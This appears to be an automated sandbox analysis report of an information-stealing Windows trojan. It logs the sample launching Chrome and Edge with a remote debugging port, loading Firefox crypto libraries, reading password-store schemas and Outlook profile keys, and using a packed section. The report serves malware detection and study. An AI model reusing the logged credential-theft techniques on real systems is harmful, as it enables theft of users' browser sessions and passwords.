Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72CA70	0_2_6C72CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768A30	0_2_6C768A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75EA00	0_2_6C75EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72EA80	0_2_6C72EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B6BE0	0_2_6C7B6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8BAC	0_2_6C6B8BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750BA0	0_2_6C750BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8460	0_2_6C6C8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73A430	0_2_6C73A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C714420	0_2_6C714420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A4D0	0_2_6C74A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F64D0	0_2_6C6F64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DA480	0_2_6C7DA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750570	0_2_6C750570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C712560	0_2_6C712560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F8550	0_2_6C7F8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708540	0_2_6C708540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B4540	0_2_6C7B4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73E5F0	0_2_6C73E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77A5E0	0_2_6C77A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A45B0	0_2_6C6A45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70C650	0_2_6C70C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70E6E0	0_2_6C70E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E6E0	0_2_6C74E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D46D0	0_2_6C6D46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730700	0_2_6C730700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA7D0	0_2_6C6DA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FE070	0_2_6C6FE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C778010	0_2_6C778010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77C000	0_2_6C77C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78C0B0	0_2_6C78C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C00B0	0_2_6C6C00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8090	0_2_6C6A8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718140	0_2_6C718140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726130	0_2_6C726130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C794130	0_2_6C794130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B01E0	0_2_6C6B01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738260	0_2_6C738260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748250	0_2_6C748250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8362C0	0_2_6C8362C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C788220	0_2_6C788220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77A210	0_2_6C77A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77E2B0	0_2_6C77E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7822A0	0_2_6C7822A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C746370	0_2_6C746370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F2370	0_2_6C7F2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2370	0_2_6C6B2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC360	0_2_6C7CC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8340	0_2_6C6B8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722320	0_2_6C722320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7043E0	0_2_6C7043E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70E3B0	0_2_6C70E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E23A0	0_2_6C6E23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3C40	0_2_6C6B3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D9C40	0_2_6C7D9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C1C30	0_2_6C6C1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C771CE0	0_2_6C771CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EDCD0	0_2_6C7EDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74FC80	0_2_6C74FC80

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6D3620 appears 61 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8309D0 appears 247 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C83D930 appears 43 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6D9B10 appears 68 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C83DAE0 appears 52 times

Source: file.exe, 00000000.00000002.2643405924.000000006F892000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: wcxkxkso ZLIB complexity 0.9947947004116185

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/301@26/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C710300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C710300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\VM5Q6YJ5.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\c94d100d-46ea-4384-ab89-73d41cbcc7ec.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000002.00000002.2361474401.00001FDC006E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2349154582.000000001D778000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2521328063.000000001D795000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2631129738.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642124925.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 43%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2528,i,17589902044594162779,8070341503384849355,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2476,i,630304271105429784,4614235616134142907,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2872 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6824 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6960 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7208 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2528,i,17589902044594162779,8070341503384849355,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2476,i,630304271105429784,4614235616134142907,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2872 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6824 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6960 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7208 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2086912 > 1048576

Source: file.exe

Static PE information: Raw size of wcxkxkso is bigger than: 0x100000 < 0x192600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2643313763.000000006F87D000.00000002.00000001.01000000.00000015.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
